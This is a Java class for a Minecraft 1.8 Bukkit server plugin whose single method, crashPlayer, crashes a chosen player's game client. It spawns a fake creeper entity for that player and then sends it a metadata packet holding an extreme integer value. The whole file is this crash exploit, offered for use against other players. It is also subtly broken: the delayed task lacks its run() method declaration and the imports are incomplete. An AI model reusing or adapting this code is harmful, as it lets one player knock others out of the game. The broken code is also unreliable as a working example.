import net.minecraft.server.v1_8_R3.PacketPlayOutSpawnEntityLiving;

public class CrashAPI1_8 {
private static CrashPlugin main;

    public CrashAPI1_8(CrashPlugin main) {
        this.main = main;
    }
    public static void crashPlayer(Player p) {
        final EntityPlayer px = ((CraftPlayer)p).getHandle();
        final EntityCreeper entity = new EntityCreeper(px.world);
        final DataWatcher dw = new DataWatcher(entity);
        dw.a(18, (Object)Integer.MAX_VALUE);
        PacketPlayOutSpawnEntityLiving packet_spawn = new PacketPlayOutSpawnEntityLiving(entity);
        px.playerConnection.sendPacket(packet_spawn);
        Bukkit.getScheduler().scheduleSyncDelayedTask(main, new Runnable(){
            @Override
                PacketPlayOutEntityMetadata meta = new PacketPlayOutEntityMetadata(entity.getId(), dw, true);
                px.playerConnection.sendPacket(meta);
            }

        }, 5L);
        return;
    }
}